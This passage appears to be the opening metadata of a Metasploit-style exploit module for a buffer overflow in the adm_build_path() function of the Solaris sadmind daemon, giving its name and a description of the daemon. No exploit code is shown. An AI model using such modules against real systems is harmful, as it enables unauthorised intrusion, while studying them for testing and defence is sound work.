'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability in adm_build_path()
function of sadmind daemon.
The distributed system administration daemon (sadmind) is the daemon used by
Solstice AdminSuite applications to perform distributed system administration
operations.
The sadmind daemon is started automatically by the inetd daemon whenever a
request to invoke an operation is received. The sadmind daemon process
continues to run for 15 minutes after the last request is completed, unless a
different idle-time is specified with the -i command line option. The sadmind
daemon may be started independently from the command line, for example, at
system boot time. In this case, the -i option has no effect; sadmind continues
to run, even if there are no active requests.
